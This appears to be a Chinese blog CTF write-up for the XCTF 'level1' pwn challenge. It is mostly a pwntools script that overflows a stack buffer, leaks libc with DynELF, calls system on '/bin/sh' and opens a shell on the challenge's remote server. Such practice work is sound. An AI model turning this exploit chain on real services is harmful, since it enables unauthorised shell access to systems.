xctf攻防世界_level1——本地和远程程序不一样
2019-05-22 19:15
435 查看
[code]#-*-coding:utf-8 -*- import pwn from pwn import * #pwn.context.log_level = 'debug' #context(arch = 'i386', os = 'linux') #shellcode = asm(shellcraft.sh())#用函数shellcraft.sh()直接生成shellcode #asm #io = process('./level1') io = remote('111.198.29.45', 52614) elf=ELF('./level1') write_plt=elf.symbols['write'] write_got=elf.got['write'] read_plt=elf.symbols['read'] bss=elf.bss() start=0x08048380 main=0x080484B7 def leak(address): payload='a'*(0x88+4)+p32(write_plt)+p32(start)+p32(1)+p32(address)+p32(4) #io.recvuntil("?\n") #本地和远程有区别,请注意这里! io.send(payload) leaked=io.recv(4) print "[%s] -> [%s] = [%s]" % (hex(address),hex(u32(leaked)),repr(leaked)) return leaked d=pwn.DynELF(leak,elf=ELF('./level1')) system=d.lookup('system','libc') print hex(system) print print hex(bss) payload2='a'*(0x88+4)+p32(read_plt)+p32(0x08048549)+p32(0)+p32(bss)+p32(8) payload2+=p32(system)+p32(0xdeadbeef)+p32(bss) raw_input() io.sendline(payload2) io.send('/bin/sh\x00') io.interactive()
本来是个简单的题(程序给出了buf地址),但是远程程序不一样,直接变成了无libc的PWN。
相关文章推荐
- 详解基于mpvue微信小程序下载远程图片到本地解决思路
- XCTF攻防世界web进阶练习_ 4_upload
- windows网络连接表 根据连接远程的ip端口判断本地程序
- XCTF攻防世界web新手练习_ 10_simple_php
- LINUX上pycharm远程解释器运行py程序在本地机器上显示plot命令画出来的图像
- 一个操作本地或者远程主机服务的小程序
- 本地eclipse运行hadoop程序,操作远程服务器(供理解和入门)
- 本地程序怎么共享到远程桌面【Win】
- php程序获取远程图片进行下载到本地方法的总结
- win2003Server本地却看不到远程桌面登录的程序画面
- 远程oracle数据库的监听程序及本地网络服务名的配置方法(主要用于本地连接远程数据库)
- xctf攻防世界_echo——爬坑之路(ret2dlresolve)
- XCTF攻防世界web进阶练习_ 3_unserialize3
- XCTF攻防世界web新手练习_ 5_simple_js
- JAVA本地远程连接linux程序监控状态
- IOS中程序如何进行推送消息(本地推送,远程推送)
- JAVA本地远程连接linux程序监控状态
- XCTF攻防世界web新手练习_ 2_backup
- plsql连接本地oracle数据库,而远程主机却无法连接,出现无监听程序的解决方法
- XCTF攻防世界web新手练习_ 7_weak_auth